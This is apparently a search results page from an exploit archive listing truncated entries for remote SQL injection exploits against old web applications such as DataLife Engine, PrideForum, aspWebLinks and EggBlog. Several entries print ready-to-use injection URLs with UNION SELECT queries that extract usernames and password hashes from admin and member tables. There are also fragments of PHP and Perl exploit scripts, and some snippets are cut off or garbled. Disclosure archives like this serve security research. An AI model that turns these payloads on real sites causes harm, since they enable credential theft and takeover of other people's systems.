3915 matches found
DataLife Engine <= 4.1 Remote SQL Injection Exploit (php)
No description provided by source. ?php errorreporting EERROR; iniset"maxexecutiontime",0; echo ' +========================================+ | RST/GHC Datalife SQL injection exploit | +========================================+ Lite Version for DLE =4.1 '; if $argc 2 print " Usage: " . $argv0 . "...
DataLife Engine <= 4.1 Remote SQL Injection Exploit (php)
Exploit for unknown platform in category web applications ========================================================= DataLife Engine Lite Version for DLE '; if $argc table prefix\n"; print " ex.: " . $argv0 . " datalife.engine.net admin\n"; credits; exit; //DEFINE USER ID $urla = 'http://' . $argv...
WeBBoA Host Script 1.1 Remote SQL Injection Vulnerability
No description provided by source. There is Sql injection WeBBoA Host Script v1.1 Risk=High Exploit: http://SITE/?islem=hostsatinal&id=-1%20%20union%20select%200,1,2,kuladi,4,5,6,7,sifre%20from%20members+where+uyeid=1 Credit: EntriKa milw0rm.com 2006-06-19...
PHP-Nuke Download Module Remote SQL Injection
================================== Fund By:BuNy-m Special for Site:www.alshmokh.com E-mail:[email protected] ================================== Example: /modules.php?name=Downloads&dop=viewdownload&cid=220UNION20select20counter,20aid,20pwd20FROM20nukeauthors20...
ewsEngine <= 1.5.0(newscomments.php) Remote SQL Injection Vulnerability
Title : NewsEngine = 1.5.0newscomments.php Remote SQL Injection Vulnerability Author : ajann Vulnerability; $$$ http://target/path/newscomments.php Example: $$...
Particle Wiki <= 1.0.2 (version) Remote SQL Injection Vulnerability
No description provided by source. Particle wiki = 1.0.2 Remote SQLInjection - Username/Passwordhash Extractor Thanks to UNSECURED SYSTEMS : http://pridels.blogspot.com/2006/06/particle-wiki-sql-inj.html Exploited by FarhadKey from http://www.kapda.ir Username :...
aspWebLinks 2.0 Remote SQL Injection / Admin Pass Change Exploit
!-- Title : aspWebLinks 2.0 Remote Admin Pass Change Exploit and links.asp SQL Injection Author : ajann Dork : aspWebLinks 2.0 SQL INJECTION: http://target/path/links.asp?action=reporterror&linkID=22120union20select+0,administrativepassword,0,0,0,0,0,0,0+from+config -- titleAspWebLink 2.0 Remote...
ProPublish 2.0 - catid SQL Injection
ProPublish 2.0 - catid SQL Injection ProPublish 2.0 catid Remote SQL Injection Vulnerability Thanks to soot : http://www.securityfocus.com/archive/1/435787/30/0/threaded Exploited by FarhadKey from kapda.ir Exploit :...
ProPublish 2.0 (catid) Remote SQL Injection Vulnerability
Exploit for unknown platform in category web applications ========================================================= ProPublish 2.0 catid Remote SQL Injection Vulnerability ========================================================= ProPublish 2.0 catid Remote SQL Injection Vulnerability Thanks to...
aspWebLinks 2.0 Remote SQL Injection / Admin Pass Change Exploit
Exploit for unknown platform in category web applications ================================================================ aspWebLinks 2.0 Remote SQL Injection / Admin Pass Change Exploit ================================================================ AspWebLink 2.0 Remote Admin Pass Change...
CosmicShoppingCart (search.php) Remote SQL Injection Vulnerability
Software: CosmicShoppingCart www.cosmicphp.com Risk: Medium Discovered by: Vympel Marcelo Almeida Background: CosmicShoppingCart is a PHP / MySQL e-commerce system. It is a fully customizable, shopping cart designed. SQL injections have been found, they could be exploited by users to retrieve the...
Advisory: ASPSitem <= 2.0 Multiple Vulnerabilities.
--Security Report-- Advisory: ASPSitem = 2.0 Multiple Vulnerabilities. --- Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI --- Date: 27/05/06 08:26 PM --- Contacts: ICQ: 10072 MSN/Email: [email protected] Web: http://www.nukedx.com --- Vendor: ASPSitem http://www.aspsitem.com Version: 2.0 a...
Enigma Haber <= 4.3 Multiple Remote SQL Injection Vulnerabilities
No description provided by source. Enigma Haber = 4.3 Multiple Remote SQL Injection Vulnerabilities Contacts ICQ: 10072 MSN/Mail: [email protected] web: www.nukedx.com This exploits works on Enigma Haber = 4.3 Original advisory can be found at: http://www.nukedx.com/?viewdoc=34...
CosmicShoppingCart (search.php) Remote SQL Injection Vulnerability
Exploit for unknown platform in category web applications ================================================================== CosmicShoppingCart search.php Remote SQL Injection Vulnerability ================================================================== Software: CosmicShoppingCart...
EggBlog < 3.07 - Remote SQL Injection / Privilege Escalation
http://site/EggBlog/rss/posts.php?id=1'//UNION//SELECT//0,concat'Username:%20',username,concat'Password:%20',password//from//eggblogmembers/ This SQL injection will list you all users and passwords. -- Eggblog 2.x Remote Privilege Escalation .xpl font-family:tahoma; font-size:11px; text-decoratio...
PrideForum 1.0 - forum.asp SQL Injection
PrideForum 1.0 - forum.asp SQL Injection Title : PrideForum 1.0 forum.asp Remote SQL Injection Vulnerability Author : ajann Exploit Example: http://target/path/forum.asp?HID=1%20union+select+0,0,ID,JUser,0,0,0,JPass,ID,0+from+adminlogins+where+ID=1&Name=Allm%E4nt milw0rm.com 2006-05-27...
PrideForum 1.0 (forum.asp) Remote SQL Injection Vulnerability
No description provided by source. Title : PrideForum 1.0 forum.asp Remote SQL Injection Vulnerability Author : ajann Exploit Example: http://target/path/forum.asp?HID=1%20union+select+0,0,ID,JUser,0,0,0,JPass,ID,0+from+adminlogins+where+ID=1&Name=Allm%E4nt milw0rm.com 2006-05-27...
PrideForum 1.0 (forum.asp) Remote SQL Injection Vulnerability
Exploit for unknown platform in category web applications ============================================================= PrideForum 1.0 forum.asp Remote SQL Injection Vulnerability ============================================================= Title : PrideForum 1.0 forum.asp Remote SQL Injection...
PrideForum 1.0 - 'forum.asp' SQL Injection
Title : PrideForum 1.0 forum.asp Remote SQL Injection Vulnerability Author : ajann Exploit Example: http://target/path/forum.asp?HID=1%20union+select+0,0,ID,JUser,0,0,0,JPass,ID,0+from+adminlogins+where+ID=1&Name=Allm%E4nt milw0rm.com 2006-05-27...
DeluxeBB <= 1.06 (name) Remote SQL Injection Exploit (mq=off)
No description provided by source. !/usr/bin/perl use IO::Socket; print q DeluxeBB 1.06 Remote SQL Injection Exploit exploit discovered and coded by KingOfSka http://contropotere.netsons.org ; if !$ARGV2 print q Usage: perl dbbxpl.pl host /directory/ victimuserid perl dbbxpl.pl www.somesite.com...